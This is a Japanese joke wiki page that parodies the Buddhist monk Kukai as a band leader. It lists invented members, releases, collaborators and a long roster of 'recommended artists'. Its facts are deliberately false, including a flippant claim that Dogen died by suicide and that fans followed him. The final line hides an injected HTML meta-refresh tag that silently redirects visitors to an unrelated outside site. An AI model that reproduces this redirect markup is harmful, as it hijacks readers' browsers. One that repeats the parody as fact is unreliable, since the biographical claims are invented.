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Profile - (2007/12/09 (日) 22:11:34) のソース

プロローグ:真言宗グランドオーケストラ 

ボーカル:空海 
木魚:空海 
梵鐘:空海 
指揮:一休 
コーラス:ガウタマ・シッダールタ 

一部の曲では道元が演奏していた。 
しかし1253年、自殺によりこの世を去っている。 

エピローグ:高野山交響楽団 


現在テクノの本場、ドイツでも活動しており。 
Okyoh-Technoとして売り込んでいるようだ、海外でのアーティスト名はku-Kaiとなっている。 
海外でのメンバーの名義 
Okyoh:M.C.Ku-Kai 
WoodBall:CrazyKK 
Bong-Show:K 
193:193 
Chorus:あの人 


現在ではテクノポップ、ヒップホップ、ラップ、R&Bなど様々なジャンルの音楽に挑戦している数少ないグループである。 

現在新作レコーディング中。 
プロデューサーは前作と同じくDr.仏堕。 
雑誌等でのインタビューにて新作ではヒップホップ演歌に挑戦すると語っており、その斬新性にファンの間で賛否両論が巻き起こるのは必至だろう。 

2006年10月、ついにiTunes Storeで世界21カ国同時デビューを果たす。
収録曲は『The Heart Sutra Mash Up / 般若心経 マッシュアップ』と『Onbise Jam '67 / オンビセ ジャム '67』
http://phobos.apple.com/WebObjects/MZStore.woa/wa/viewAlbum?id=189726767&s=143462

ピンク・フロイドやタンジェリンドリームとヘビーでドスの効いた声質の般若心経が見事に融合し、各国で賞賛の嵐を受ける。


また、最近新たな挑戦としてユーロビートへの進出も試みている。 
こちらもEB界きっての大物、DJ DAI-BUTSUの元でプロデュースが進められているとのことだ。 
日本から世界へ、これからも空海の音は響き続ける。 
年内に、ユーロビート曲のみのアルバム「World 空海 Classic Vol.01」の全世界同時発売を予定。 

CDジャケットのデザインに人気イラストレーターのHOKUSAIを起用 
日本情緒溢れる和紙ジャケットなども話題になっている。 

最近では、GANJINの新曲「End of Japan」のカップリング曲にMr.Kとして参加 
喜びのあまり、お経を唱え始めるファンが続出した 


1253年、さくら(独経)に伴奏で参加した道元が自殺で死亡。 
あまりのショックに、ファンの後追い自殺が後を絶たなかった。 
プライベートでも交流のあった空海が「彼が望んでいるわけではない。自殺は絶対にいけないことだ」と瓦板で声明を発表するほどであった。 


以下、空海おすすめのアーティスト達
BOOWY
GLAY
David Bowie
QUEEN
清春
最澄(別名義:SAI-CHO) 
順暁 
織田無道
織田裕二
池田大作
マイケル寂聴
麻生大臣 
鈴木宗雄(別名義:dj 宗夫) 
山田マン 
the・ドリフターズ 
黒夢
平野綾 
EARTHWIND&FIRE 
ロケットマン 
Sads
鶴屋さん 
坊主 
Yellow Magic Orchestra 
KraftWerk 
電気グルーヴ 
スチャダラパー 
AKB48 
横道坊主 
BUDDA-BRAND 
ZAZEN BOYS 
つのだ★ひろ 
筋肉少女帯 
特撮 
空野海子 
長門 
SHAKALABBITS 
藍坊主 
AKINO 
佐竹幸二 
Enigma 
Lia 
DeepForest 
L'Arc~en~Ciel
姫神 
ピ 
ぺ 
ZABADAK 
Enya 
円弘志 
玄奘三蔵
ザ・IKEMENS 
ALI PROJECT 
石野卓球 
RET TIRI 
LUNA SEA 
X Japan 
pizzicatoFive 
TOSHI 
東京YANKEES 
helpmate
Laputa 
STRAY PIG VANGARD 
平沢進 
モーニング娘。 
ラッパ狩リヤ 
野本かりあ 
小野妹子 Feat Taisi@Syo-toku 
小泉純一郎
多奈田幸一郎
KULA SHAKER
ヤプーズ
Carcass
DABO
Rock bitch
かな◎やし◎さき
スネークマン・ショー
やしきたかじん[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
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